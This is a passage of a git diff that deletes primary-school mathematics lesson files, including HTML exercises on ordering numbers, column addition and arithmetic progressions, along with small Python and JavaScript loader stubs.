- 3) Arrange following according to indications:
- <br />
- <br />
- a) 53 ; 74 ; 763 ; 172 ; 940 ; 288 ; 9384 ; 536 (Descending).
- <br />
- <br />
- b) 182 ; 736 ; 938 ; 281 ; 489 ; 1800 ; 289 ; 990 (Increasing).
- <br />
- <br />
- c) 238 ; 938 ; 3562 ; 833 ; 123 ; 374 ; 327 ; 8272 (Ascending).
- <br />
- <br />
- d) 784 ; 128 ; 73 ; 38 ; 2837 ; 1273 ; 99 ; 636 (Decreasing)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m04/map411m04a06/description.py b/Save_Mathematics/P4/map411m04/map411m04a06/description.py
deleted file mode 100644
index 2994305..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m04a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m04/map411m04a06/lesson.js b/Save_Mathematics/P4/map411m04/map411m04a06/lesson.js
deleted file mode 100644
index e5e5b23..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m04/map411m04a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m04/map411m04a06/source.txt b/Save_Mathematics/P4/map411m04/map411m04a06/source.txt
deleted file mode 100644
index 1860331..0000000
--- a/Save_Mathematics/P4/map411m04/map411m04a06/source.txt
+++ /dev/null
@@ -1,149 +0,0 @@
-<p>
- 1) Arrange following cyclists according to distances covered by each of them.
-</p>
-<ul>
- <li>
-  <table border="1" width="100%">
-   <tbody>
-    <tr>
-     <td width="50%" valign="top">
-      Cyclist
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      Distance in km
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      Janet
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      1080
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      David
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      766
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      Adrian
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      1120
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      Ruhumuriza
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      1315
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      Alphonse
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      995
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      Julien
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      338
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="50%" valign="top">
-      Leon
-      <br />
-     </td>
-     <td width="50%" valign="top">
-      825
-      <br />
-     </td>
-    </tr>
-   </tbody>
-  </table>
- </li>
-</ul>
-<p>
- 2) Drag and drop following numbers and arrange them in descending order:
- <br />
- <br />
-</p>
-<ul>
- <li>
-  746
- </li>
- <li>
-  737
- </li>
- <li>
-  1872
- </li>
- <li>
-  3928
- </li>
- <li>
-  2637
- </li>
- <li>
-  9283
- </li>
- <li>
-  2983
- </li>
- <li>
-  9840
- </li>
- <li>
-  9832
- </li>
- <li>
-  2094
- </li>
- <li>
-  22049
- </li>
- <li>
-  3984
- </li>
-</ul>
-<p>
- 3) Arrange following according to indications:
- <br />
- <br />
- a) 53 ; 74 ; 763 ; 172 ; 940 ; 288 ; 9384 ; 536 (Descending).
- <br />
- <br />
- b) 182 ; 736 ; 938 ; 281 ; 489 ; 1800 ; 289 ; 990 (Increasing).
- <br />
- <br />
- c) 238 ; 938 ; 3562 ; 833 ; 123 ; 374 ; 327 ; 8272 (Ascending).
- <br />
- <br />
- d) 784 ; 128 ; 73 ; 38 ; 2837 ; 1273 ; 99 ; 636 (Decreasing)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m05/activities.js b/Save_Mathematics/P4/map411m05/activities.js
deleted file mode 100755
index 6faf9d8..0000000
--- a/Save_Mathematics/P4/map411m05/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m05a01','blue'],
-['2','2','map4','basic','map411m05a02','blue'],
-['3','3','map4','basic','map411m05a03','blue'],
-['4','4','map4','basic','map411m05a04','blue'],
-['5','5','map4','basic','map411m05a05','blue'],
-['6','6','map4','basic','map411m05a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m05/map411m05a01/a.txt b/Save_Mathematics/P4/map411m05/map411m05a01/a.txt
deleted file mode 100644
index 957e4f0..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a01/a.txt
+++ /dev/null
@@ -1,93 +0,0 @@
-<p>
- <span style="font-weight: bold; text-decoration: underline;">
- </span>
- Addition is very useful in our daily life .
- <br />
- People use addition of money in the market when they are shoping , They also use addition at home when when a wife and her husband are puting together ther salaries. etc.
- <br />
- <br />
- Following Examples shows how it is applied in our life.
- <br />
- <br />
- Janine went to Kimironko market for shopping
- <br />
- She bought eggs at 480 f ,Bananas at 300f ,Oil at 1100 f . How much money did she spend?
- <span style="text-decoration: underline;">
-  <br />
-  <br />
-  solution:
-  <br />
- </span>
- Janine spent = 480f + 300 f +
- <span style="text-decoration: underline;">
-  1100f = 1880 f
-  <br />
-  <br />
- </span>
- This course of Addition of whole numbers will be facilitated by revision of reading , writing whole numbers and expanded form of numbers .
- <br />
- this is the reason why following exercises should be revised in the classroom before starting Addition course in the classroom.
- <br />
- <br />
- Read the following numbers and write their expanded form according the pattern bellow :
- <br />
- 12500 = 10000 + 2000 + 500
- <br />
- 26123 = 2000 + 6000 + 100 + 20 + 3
- <br />
- 34579 = 30000 + 4000 + 500 + 700 + 9
- <br />
- <span style="text-decoration: underline;">
-  .Write in expanded form following numbers:
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  7465
- </li>
- <li>
-  837364
- </li>
- <li>
-  84756
- </li>
- <li>
-  3746
- </li>
- <li>
-  38475
- </li>
- <li>
-  97364
- </li>
- <li>
-  49904
- </li>
- <li>
-  483890
- </li>
- <li>
-  226374
- </li>
- <li>
-  84664
- </li>
- <li>
-  36473
- </li>
-</ul>
-<p>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m05/map411m05a01/description.py b/Save_Mathematics/P4/map411m05/map411m05a01/description.py
deleted file mode 100644
index c0eeb81..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m05a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m05/map411m05a01/lesson.js b/Save_Mathematics/P4/map411m05/map411m05a01/lesson.js
deleted file mode 100644
index 1aa7ed1..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m05/map411m05a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m05/map411m05a01/source.txt b/Save_Mathematics/P4/map411m05/map411m05a01/source.txt
deleted file mode 100644
index 957e4f0..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a01/source.txt
+++ /dev/null
@@ -1,93 +0,0 @@
-<p>
- <span style="font-weight: bold; text-decoration: underline;">
- </span>
- Addition is very useful in our daily life .
- <br />
- People use addition of money in the market when they are shoping , They also use addition at home when when a wife and her husband are puting together ther salaries. etc.
- <br />
- <br />
- Following Examples shows how it is applied in our life.
- <br />
- <br />
- Janine went to Kimironko market for shopping
- <br />
- She bought eggs at 480 f ,Bananas at 300f ,Oil at 1100 f . How much money did she spend?
- <span style="text-decoration: underline;">
-  <br />
-  <br />
-  solution:
-  <br />
- </span>
- Janine spent = 480f + 300 f +
- <span style="text-decoration: underline;">
-  1100f = 1880 f
-  <br />
-  <br />
- </span>
- This course of Addition of whole numbers will be facilitated by revision of reading , writing whole numbers and expanded form of numbers .
- <br />
- this is the reason why following exercises should be revised in the classroom before starting Addition course in the classroom.
- <br />
- <br />
- Read the following numbers and write their expanded form according the pattern bellow :
- <br />
- 12500 = 10000 + 2000 + 500
- <br />
- 26123 = 2000 + 6000 + 100 + 20 + 3
- <br />
- 34579 = 30000 + 4000 + 500 + 700 + 9
- <br />
- <span style="text-decoration: underline;">
-  .Write in expanded form following numbers:
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  7465
- </li>
- <li>
-  837364
- </li>
- <li>
-  84756
- </li>
- <li>
-  3746
- </li>
- <li>
-  38475
- </li>
- <li>
-  97364
- </li>
- <li>
-  49904
- </li>
- <li>
-  483890
- </li>
- <li>
-  226374
- </li>
- <li>
-  84664
- </li>
- <li>
-  36473
- </li>
-</ul>
-<p>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m05/map411m05a02/a.txt b/Save_Mathematics/P4/map411m05/map411m05a02/a.txt
deleted file mode 100644
index c969aaf..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a02/a.txt
+++ /dev/null
@@ -1,260 +0,0 @@
-<ul>
- <li>
-  <h3 style="text-decoration: underline; text-align: left;">
-   Example 1 :
-   <span style="color: #ff0000;">
-    &nbsp;
-   </span>
-  </h3>
- </li>
-</ul>
-<ol>
- <li>
-  3133+312+23
- </li>
-</ol>
-<p>
- &nbsp;
-</p>
-<table style="width: 550px; height: 166px;" border="1">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    TH
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    O
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td rowspan="2" width="25%" valign="top">
-    +
-    <br />
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    2
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- O means ones
- <br />
- T means tens
- <br />
- H means hundreds
- <br />
- HT means thousands
- <br />
- <br />
- Beginning adding ones eg 3+2+3=8 ones
- <br />
- Add tens = 3+1+2 = 6 tens
- <br />
- Add hundreds =3+1= 4 hundreds
- <br />
- Add thousands = 2thousands
- <br />
- <br />
- <br />
- Example 2
- <br />
- <br />
- &zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&zwnj; + 3 2 9 2 8
- <br />
- <span style="color: #ffffff;">
- </span>
- <span style="text-decoration: underline;">
-  2 8 3 1 9
-  <br />
- </span>
- <span style="color: #ffffff;">
- </span>
- 6 1 2 4 7
- <br />
- <br />
- <span style="text-decoration: underline;">
-  Remember
- </span>
- :
- <span style="text-decoration: underline;">
-  <br />
-  <br />
- </span>
- To add numbers start from ones place value. If result is a two-digit number,write a digit in its ones place and carry the tens to the next place value.
- <br />
- <br />
- <span style="text-decoration: underline;">
-  <br />
- </span>
- <br />
- <br />
- 3. Find the next three numbers in the following progression:
- <br />
- <br />
-</p>
-<ol>
- <li>
-  127 ; 129 ;131 ;-------------------;---------------;------------------.
- </li>
- <li>
-  300 ; 310 ; 320 ;-------------------;---------------;------------------.
- </li>
- <li>
-  170 ; 174 ; 378 ;-------------------;---------------;------------------.
- </li>
- <li>
-  45 ; 50 ; 55 ;--------------------;---------------;----------------------.
- </li>
- <li>
-  140 ; 143 ; 146 ;-------------------;---------------;-------------------.
- </li>
-</ol>
-<p>
- &nbsp;
-</p>
-<h2 style="text-decoration: underline;">
- Solution
-</h2>
-<p>
- &nbsp;
-</p>
-<ol>
- <li>
-  127 ; 129 ;131 ; 133 ;135 ; 137.
- </li>
- <li>
-  300 ; 310 ; 320 ;330 ; 340 ; 350.
- </li>
- <li>
-  170 ; 174 ; 378 ; 182 ; 186 ; 190 .
- </li>
- <li>
-  45 ; 50 ; 55 ; 60 ; 65 ; 70.
- </li>
- <li>
-  140 ; 143 ; 146 ; 149 ;152 ; 155.
- </li>
-</ol>
-<ul>
- <li>
-  Remember :An increasing arithmetic progression is a series of numbers increasing by the same number , called a ratio of progression .
- </li>
- <li style="text-align: left;">
-  To increase a number , keep adding the ratio. How to find the ratio of progression ?
- </li>
- <li style="text-align: left;">
-  Find the difference between any two consecutive numbers in the progression.
- </li>
- <li style="text-align: left;">
-  e .g
- </li>
-</ul>
-<p>
- 5 ; 10 ; 15 ; 20
- <br />
- <br />
-</p>
-<h2>
- Solution
-</h2>
-<p>
- 20-15 =5
- <br />
- 15-10 =5
- <br />
- 10 -5 = 5
- <br />
- <br />
- The difference between the series is 5.
- <br />
- <br />
- Therefore 5 is the ration of progression.
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
- </span>
- <span style="text-decoration: underline;">
-  <br />
-  <br />
-  <br />
-  <br />
-  <br />
- </span>
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m05/map411m05a02/description.py b/Save_Mathematics/P4/map411m05/map411m05a02/description.py
deleted file mode 100644
index f1b674a..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m05a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m05/map411m05a02/lesson.js b/Save_Mathematics/P4/map411m05/map411m05a02/lesson.js
deleted file mode 100644
index 7848198..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m05/map411m05a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m05/map411m05a02/source.txt b/Save_Mathematics/P4/map411m05/map411m05a02/source.txt
deleted file mode 100644
index c969aaf..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a02/source.txt
+++ /dev/null
@@ -1,260 +0,0 @@
-<ul>
- <li>
-  <h3 style="text-decoration: underline; text-align: left;">
-   Example 1 :
-   <span style="color: #ff0000;">
-    &nbsp;
-   </span>
-  </h3>
- </li>
-</ul>
-<ol>
- <li>
-  3133+312+23
- </li>
-</ol>
-<p>
- &nbsp;
-</p>
-<table style="width: 550px; height: 166px;" border="1">
- <tbody>
-  <tr>
-   <td width="25%" valign="top">
-    TH
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    O
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td rowspan="2" width="25%" valign="top">
-    +
-    <br />
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    2
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- O means ones
- <br />
- T means tens
- <br />
- H means hundreds
- <br />
- HT means thousands
- <br />
- <br />
- Beginning adding ones eg 3+2+3=8 ones
- <br />
- Add tens = 3+1+2 = 6 tens
- <br />
- Add hundreds =3+1= 4 hundreds
- <br />
- Add thousands = 2thousands
- <br />
- <br />
- <br />
- Example 2
- <br />
- <br />
- &zwnj;&zwnj;&zwnj;&zwnj;&zwnj;&zwnj; + 3 2 9 2 8
- <br />
- <span style="color: #ffffff;">
- </span>
- <span style="text-decoration: underline;">
-  2 8 3 1 9
-  <br />
- </span>
- <span style="color: #ffffff;">
- </span>
- 6 1 2 4 7
- <br />
- <br />
- <span style="text-decoration: underline;">
-  Remember
- </span>
- :
- <span style="text-decoration: underline;">
-  <br />
-  <br />
- </span>
- To add numbers start from ones place value. If result is a two-digit number,write a digit in its ones place and carry the tens to the next place value.
- <br />
- <br />
- <span style="text-decoration: underline;">
-  <br />
- </span>
- <br />
- <br />
- 3. Find the next three numbers in the following progression:
- <br />
- <br />
-</p>
-<ol>
- <li>
-  127 ; 129 ;131 ;-------------------;---------------;------------------.
- </li>
- <li>
-  300 ; 310 ; 320 ;-------------------;---------------;------------------.
- </li>
- <li>
-  170 ; 174 ; 378 ;-------------------;---------------;------------------.
- </li>
- <li>
-  45 ; 50 ; 55 ;--------------------;---------------;----------------------.
- </li>
- <li>
-  140 ; 143 ; 146 ;-------------------;---------------;-------------------.
- </li>
-</ol>
-<p>
- &nbsp;
-</p>
-<h2 style="text-decoration: underline;">
- Solution
-</h2>
-<p>
- &nbsp;
-</p>
-<ol>
- <li>
-  127 ; 129 ;131 ; 133 ;135 ; 137.
- </li>
- <li>
-  300 ; 310 ; 320 ;330 ; 340 ; 350.
- </li>
- <li>
-  170 ; 174 ; 378 ; 182 ; 186 ; 190 .
- </li>
- <li>
-  45 ; 50 ; 55 ; 60 ; 65 ; 70.
- </li>
- <li>
-  140 ; 143 ; 146 ; 149 ;152 ; 155.
- </li>
-</ol>
-<ul>
- <li>
-  Remember :An increasing arithmetic progression is a series of numbers increasing by the same number , called a ratio of progression .
- </li>
- <li style="text-align: left;">
-  To increase a number , keep adding the ratio. How to find the ratio of progression ?
- </li>
- <li style="text-align: left;">
-  Find the difference between any two consecutive numbers in the progression.
- </li>
- <li style="text-align: left;">
-  e .g
- </li>
-</ul>
-<p>
- 5 ; 10 ; 15 ; 20
- <br />
- <br />
-</p>
-<h2>
- Solution
-</h2>
-<p>
- 20-15 =5
- <br />
- 15-10 =5
- <br />
- 10 -5 = 5
- <br />
- <br />
- The difference between the series is 5.
- <br />
- <br />
- Therefore 5 is the ration of progression.
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
- </span>
- <span style="text-decoration: underline;">
-  <br />
-  <br />
-  <br />
-  <br />
-  <br />
- </span>
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m05/map411m05a03/a.txt b/Save_Mathematics/P4/map411m05/map411m05a03/a.txt
deleted file mode 100644
index 9f084f6..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a03/a.txt
+++ /dev/null
@@ -1,158 +0,0 @@
-<p>
- <span style="text-decoration: underline;">
-  Add the following numbers
-  <br />
- </span>
- <br />
- 1. 14292
- <br />
- +
- <span style="color: #ffffff;">
- </span>
- <span style="text-decoration: underline;">
-  21812
- </span>
- <br />
- <br />
- 2. 32129
- <br />
- <span style="text-decoration: underline;">
-  +
-  <span style="color: #ffffff;">
-  </span>
-  1258
- </span>
- <br />
- <br />
- 3. 128592
- <br />
- +
- <span style="color: #ffffff;">
- </span>
- <span style="text-decoration: underline;">
-  821120
- </span>
- <br />
- <br />
- <br />
- 4. 39912
- <br />
- +
- <span style="color: #ffffff;">
- </span>
- <span style="text-decoration: underline;">
-  29205
- </span>
- <br />
- <br />
- 5.find the sum of 25659 and 21815.
- <br />
- <br />
- 6.David received 1450F from his father; 4820F from his mother; 5370f from his brother.How much did David receive ?
- <br />
- <br />
- 7. A farmer planted 6 756 seedings on Monday, 7 374 on Tuesday and 8 938 on Thursday.
- <br />
- How many seedings did the farmer plant?
- <br />
- <br />
- 8. The table below shows two games played by David and Mathias on a computer ,
- <br />
- their scores are ;
- <br />
- <br />
-</p>
-<table style="width: 357px; height: 81px;" border="1">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    Game1
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    Game2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    David
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    2 736
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    1 736
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    Mathias
-   </td>
-   <td width="33%" valign="top">
-    2 004
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    1900
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-<ul>
- <li>
-  What was their total score on the first game?
- </li>
- <li>
-  What was David's total score in the two games played
- </li>
-</ul>
-<p>
- <br />
- 9. Copy and complete following number statements:
-</p>
-<ul>
- <li>
-  12 ; 32 ; ------- ; -------- ; 92 ; 112.
- </li>
- <li>
-  28 ; 37 ; 46 ;------;-------;------;------.
- </li>
- <li>
-  1225 ; 1425 ; ------;------;-------;------.
- </li>
- <li>
-  20315 ; 20415 ;------;-------;--------;-----.
- </li>
-</ul>
-<p>
- 10. Find the ratio of progression in the following progressions.
-</p>
-<ul>
- <li>
-  6250 ; 6350 ; 6450 ; 6550.
- </li>
- <li>
-  11152 ; 11153 ; 11154 ; 11155.
- </li>
- <li>
-  7120 ; 7130 ; 7140 ; 7150 ;7160.
- </li>
- <li>
-  8412 ; 8712 ; 9012 ; 9312.
- </li>
-</ul>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m05/map411m05a03/description.py b/Save_Mathematics/P4/map411m05/map411m05a03/description.py
deleted file mode 100644
index aba12a9..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m05a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m05/map411m05a03/lesson.js b/Save_Mathematics/P4/map411m05/map411m05a03/lesson.js
deleted file mode 100644
index 8d4741e..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m05/map411m05a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m05/map411m05a03/source.txt b/Save_Mathematics/P4/map411m05/map411m05a03/source.txt
deleted file mode 100644
index 9f084f6..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a03/source.txt
+++ /dev/null
@@ -1,158 +0,0 @@
-<p>
- <span style="text-decoration: underline;">
-  Add the following numbers
-  <br />
- </span>
- <br />
- 1. 14292
- <br />
- +
- <span style="color: #ffffff;">
- </span>
- <span style="text-decoration: underline;">
-  21812
- </span>
- <br />
- <br />
- 2. 32129
- <br />
- <span style="text-decoration: underline;">
-  +
-  <span style="color: #ffffff;">
-  </span>
-  1258
- </span>
- <br />
- <br />
- 3. 128592
- <br />
- +
- <span style="color: #ffffff;">
- </span>
- <span style="text-decoration: underline;">
-  821120
- </span>
- <br />
- <br />
- <br />
- 4. 39912
- <br />
- +
- <span style="color: #ffffff;">
- </span>
- <span style="text-decoration: underline;">
-  29205
- </span>
- <br />
- <br />
- 5.find the sum of 25659 and 21815.
- <br />
- <br />
- 6.David received 1450F from his father; 4820F from his mother; 5370f from his brother.How much did David receive ?
- <br />
- <br />
- 7. A farmer planted 6 756 seedings on Monday, 7 374 on Tuesday and 8 938 on Thursday.
- <br />
- How many seedings did the farmer plant?
- <br />
- <br />
- 8. The table below shows two games played by David and Mathias on a computer ,
- <br />
- their scores are ;
- <br />
- <br />
-</p>
-<table style="width: 357px; height: 81px;" border="1">
- <tbody>
-  <tr>
-   <td width="33%" valign="top">
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    Game1
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    Game2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    David
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    2 736
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    1 736
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="33%" valign="top">
-    Mathias
-   </td>
-   <td width="33%" valign="top">
-    2 004
-    <br />
-   </td>
-   <td width="33%" valign="top">
-    1900
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- &nbsp;
-</p>
-<ul>
- <li>
-  What was their total score on the first game?
- </li>
- <li>
-  What was David's total score in the two games played
- </li>
-</ul>
-<p>
- <br />
- 9. Copy and complete following number statements:
-</p>
-<ul>
- <li>
-  12 ; 32 ; ------- ; -------- ; 92 ; 112.
- </li>
- <li>
-  28 ; 37 ; 46 ;------;-------;------;------.
- </li>
- <li>
-  1225 ; 1425 ; ------;------;-------;------.
- </li>
- <li>
-  20315 ; 20415 ;------;-------;--------;-----.
- </li>
-</ul>
-<p>
- 10. Find the ratio of progression in the following progressions.
-</p>
-<ul>
- <li>
-  6250 ; 6350 ; 6450 ; 6550.
- </li>
- <li>
-  11152 ; 11153 ; 11154 ; 11155.
- </li>
- <li>
-  7120 ; 7130 ; 7140 ; 7150 ;7160.
- </li>
- <li>
-  8412 ; 8712 ; 9012 ; 9312.
- </li>
-</ul>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m05/map411m05a04/a.txt b/Save_Mathematics/P4/map411m05/map411m05a04/a.txt
deleted file mode 100644
index 07a68c7..0000000
--- a/Save_Mathematics/P4/map411m05/map411m05a04/a.txt
+++ /dev/null
@@ -1,359 +0,0 @@
-<p>
- 1.
- <span style="text-decoration: underline;">
-  Find the sum of each pair below
-  <br />
-  <br />
- </span>
- a. 25921+23819
- <span style="text-decoration: underline;">
-  <br />
- </span>
- b.1529 + 19258
- <br />
- c.2812 + 32523
- <br />
- d.8531 + 3830
- <br />
- e.9677 + 49671
- <br />
- f.8912 + 25
- <br />
- g.38318 + 7
- <br />
- <br />
- 2.
- <span style="text-decoration: underline;">
-  Arrange in columns and add up the following numbers
- </span>
- .
- <br />
- <br />
- a. 7984 +24212 + 32
- <br />
- b. 8212+ 1230 + 18
- <br />
- c.77202 + 19
- <br />
- g.82298 + 2328
- <br />
- <br />
- 3) Add up the numbers in the tables to fill the table:
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="14%" valign="top">
-    +
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1345
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    2008
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    1209
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    3010
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    239
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    258
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="14%" valign="top">
-    21184
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    22529
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    23192
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    22393
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    24194
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    21423
-    <br />
-   </td>
-   <td width="14%" valign="top">
-    21441
